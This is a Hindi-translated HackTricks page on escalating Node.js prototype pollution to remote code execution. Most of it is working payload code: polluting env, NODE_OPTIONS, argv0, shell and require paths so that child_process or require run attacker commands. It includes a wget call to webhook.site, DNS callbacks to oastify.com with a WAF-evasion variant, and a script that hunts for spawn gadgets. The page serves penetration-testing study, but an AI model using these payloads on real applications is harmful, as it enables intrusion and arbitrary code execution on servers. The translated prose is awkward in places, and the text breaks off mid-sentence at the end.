Prototype Pollution to RCE

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Vulnerable Code

एक वास्तविक JS की तरह कुछ कोड का उपयोग करते हुए सोचें:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE के माध्यम से env vars

PP2RCE का मतलब है Prototype Pollution to RCE (Remote Code Execution).

इस writeup के अनुसार जब कोई प्रक्रिया spawn होती है किसी child_process से (जैसे fork या spawn या अन्य) तो यह उस method normalizeSpawnArguments को कॉल करता है जो एक prototype pollution gadget है जो नए env vars बनाने के लिए :

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

पॉइज़निंग __proto__

ध्यान दें कि child_process लाइब्रेरी के normalizeSpawnArguments फ़ंक्शन के काम करने के तरीके के कारण, जब कुछ कॉल किया जाता है ताकि प्रक्रिया के लिए एक नया env वेरिएबल सेट किया जा सके, तो आपको बस किसी भी चीज़ को पॉल्यूट करने की आवश्यकता है। उदाहरण के लिए, यदि आप __proto__.avar="valuevar" करते हैं तो प्रक्रिया avar नाम के एक वेरिएबल के साथ उत्पन्न होगी जिसका मान valuevar होगा।

हालांकि, एनवी वेरिएबल पहला होने के लिए आपको .env एट्रिब्यूट को पॉल्यूट करने की आवश्यकता है और (कुछ मेथड में केवल) उस वेरिएबल को पहला बनाया जाएगा (हमले को अनुमति देने के लिए)।

इसलिए NODE_OPTIONS .env में नहीं है निम्नलिखित हमले में।

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

constructor.prototype को जहर देना

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE के माध्यम से env vars + cmdline

इस लेख** में पिछले वाले के समान एक समान payload के साथ कुछ बदलाव प्रस्तुत किए गए थे।** मुख्य अंतर हैं:

  • फ़ाइल /proc/self/environ में नोडजेएस पेलोड को स्टोर करने की बजाय, यह इसे /proc/self/cmdline के argv0 में स्टोर करता है।

  • फिर, NODE_OPTIONS के माध्यम से फ़ाइल /proc/self/environ की आवश्यकता नहीं है, बल्कि यह /proc/self/cmdline की आवश्यकता है।

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS इंटरेक्शन

निम्नलिखित payloads का उपयोग करके NODE_OPTIONS env var का दुरुपयोग करना संभव है जिसे हमने पहले चर्चा की थी और यह पता लगाना:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

या, डोमेन के लिए WAFs से पूछने से बचने के लिए:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

इस खंड में हम child_process से प्रत्येक फ़ंक्शन का विश्लेषण करेंगे ताकि कोड को निष्पादित कर सकें और देख सकें कि क्या हम किसी तकनीक का उपयोग करके उस फ़ंक्शन को कोड निष्पादित करने के लिए मजबूर कर सकते हैं:

exec शोषण
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

बालक उत्पन्न करना

पिछले उदाहरणों में आपने देखा कि कैसे एक गैजेट को ट्रिगर करने के लिए एक फ़ंक्शनैलिटी की आवश्यकता है जो spawn को कॉल करती है (कुछ भी निष्पादित करने के लिए child_process के सभी विधियाँ इसे कॉल करती हैं)। पिछले उदाहरण में वह कोड का हिस्सा था, लेकिन अगर कोड इसे नहीं कॉल कर रहा है

एक आवश्यक फ़ाइल पथ को नियंत्रित करना

इस अन्य लेख में उपयोगकर्ता एक फ़ाइल पथ को नियंत्रित कर सकता है जहां require का निष्पादन होगा। उस स्थिति में हमलावार को सिर्फ सिस्टम में एक .js फ़ाइल खोजने की आवश्यकता है जो इंपोर्ट करने पर एक spawn विधि को निष्पादित करेगी। कुछ सामान्य फ़ाइलों के उदाहरण जो एक spawn फ़ंक्शन को इंपोर्ट करते समय कॉल कर रहे हैं हैं:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • नीचे अधिक फ़ाइलें खोजें

निम्नलिखित सरल स्क्रिप्ट बिना किसी पैडिंग के child_process से कॉल की खोज करेगा (फ़ंक्शन के भीतर कॉल दिखाने से बचने के लिए):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
पिछले स्क्रिप्ट द्वारा पाए गए दिलचस्प फ़ाइलें
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Prototype प्रदूषण के माध्यम से require फ़ाइल पथ सेट करना

पिछली तकनीक की आवश्यकता है कि उपयोगकर्ता नियंत्रित करे जा रही फ़ाइल का पथ जो आवश्यक होगा। लेकिन यह हमेशा सच नहीं है।

हालांकि, यदि कोड prototype प्रदूषण के बाद एक require को क्रियान्वित करने जा रहा है, तो यदि आप पथ को नियंत्रित नहीं करते हैं जो आवश्यक होगा, तो आप propotype प्रदूषण का दुरुपयोग करके एक विभिन्न को बाधित कर सकते हैं। इसलिए, यदि कोड लाइन ऐसी है require("./a_file.js") या require("bytes") तो यह आपके द्वारा प्रदूषित पैकेज को आवश्यक करेगा

इसलिए, यदि आपके prototype प्रदूषण के बाद एक require क्रियान्वित होता है और कोई spawn कार्य नहीं है, तो यह हमला है:

  • एक सिस्टम के अंदर .js फ़ाइल खोजें जो child_process का उपयोग करके कुछ क्रिया करेगी

  • यदि आप उस प्लेटफ़ॉर्म पर फ़ाइलें अपलोड कर सकते हैं जिस पर आप हमला कर रहे हैं तो आप ऐसी फ़ाइल अपलोड कर सकते हैं

  • पथों को प्रदूषित करें ताकि .js फ़ाइल को आवश्यक करने के लिए लोड किया जाए जो child_process के साथ कुछ करेगी

  • एक्सेक्यूशन फ़ंक्शन को कॉल करते समय विविध कोड को निषेधित करने के लिए पर्यावरण/cmdline को प्रदूषित करें (प्रारंभिक तकनीक देखें)

पूर्ण आवश्यक

यदि किया गया require पूर्ण है (require("bytes")) और पैकेज में मुख्य नहीं है package.json फ़ाइल में, तो आप main विशेषता को प्रदूषित कर सकते हैं और आवश्यक को एक विभिन्न फ़ाइल को क्रियान्वित कर सकते हैं

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

सापेक्ष पथ - 1

यदि एक सापेक्ष पथ को एक पूर्ण पथ की बजाय लोड किया जाता है, तो आप नोड को एक विभिन्न पथ लोड करने के लिए उपयोग कर सकते हैं:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

सांख्यिक आवश्यकता - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### सापेक्ष आवश्यकता - 3

पिछले वाले के समान, यह इस लेख में पाया गया।

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM गैजेट्स

पेपर https://arxiv.org/pdf/2207.11171.pdf में इसका भी उल्लेख है कि vm लाइब्रेरी के कुछ मेथड्स से contextExtensions का नियंत्रण एक गैजेट के रूप में प्रयोग किया जा सकता है। हालांकि, पिछले child_process मेथड्स की तरह, इसे नवीन संस्करणों में सुधार किया गया है।

सुधार और अप्रत्याशित सुरक्षा

कृपया ध्यान दें कि प्रोटोटाइप पोल्यूशन काम करता है अगर एक ऑब्ज

Last updated